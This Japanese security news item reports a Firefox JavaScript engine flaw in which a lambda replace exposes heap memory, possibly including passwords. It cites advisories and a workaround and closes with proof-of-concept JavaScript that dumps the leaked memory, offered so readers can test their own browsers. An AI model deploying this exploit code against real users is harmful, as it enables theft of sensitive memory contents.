Azafran氏は、FirefoxのJavaScriptエンジンに脆弱性が存在し、メモリの内容が漏えいしてしまう危険性があることを報告した。この脆弱性は、JavaScriptエンジンがヒープ・メモリを拡大し、本来はアクセスできないメモリ領域にアクセスできてしてしまうことに起因する。場合によっては、メモリ内に残っているパスワードなどが漏えいしてしまう危険性がある。
・C.U.B.I.C.(Azafran氏の投稿):
http://cubic.xfo.org.ru/index.cgi?read=53004
Azafran氏はすでに実証コードを公開しているため、悪用される危険性もある。またAzafran氏の実証コードを元に、Secuniaでも実証コードを公開している。DA
Labでこれらの実証コードを試したところ、Firefox 1.0.2にも脆弱性が存在することを確認した。またInternet Explorerには脆弱性が存在しないことも確認できた。
・Secunia(Mozilla Firefox JavaScript Engine Information Disclosure Vulnerability):
http://secunia.com/advisories/14820/
・Secunia(Mozilla Products Arbitrary Memory Exposure Test):
http://secunia.com/mozilla_products_arbitrary_memory_exposure_test/
現在のところMozilla Foundationからこの脆弱性に関する正式な報告や修正プログラムの提供は行われていない(Bugzillaですでに対策についての検討が行われている)。回避策は、FirefoxでのJavaScriptを無効化すること([ツール]−[オプション]−[Web機能]で「JavaScriptを有効にする」のチェックを外す)。
・Bugzilla(JS "lambda" replace exposes malloc heap space after end
of JS string):
https://bugzilla.mozilla.org/show_bug.cgi?id=288688
なお以下が公開されている実証コードをベースに作成したものだ。脆弱性の有無の確認に利用していただきたい。
<script language="JavaScript">
function genGluck(str){
var x = str;
var rx=/end/i;
x = x.replace(rx,function($1){
$1.match(rx);
return "";
});
x = x.replace(/^end/,"");
return x;
}
var mem = genGluck(
"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"+ "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"+ "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"+ "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"+ "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"+
"XXXend");
mem = mem.replace(/[^\.\\\:\/\'\(\)\"\_\?\=\%\&\;\#\@\-
a-zA-Z0-9]+/g, " ");
document.write(mem);
|
|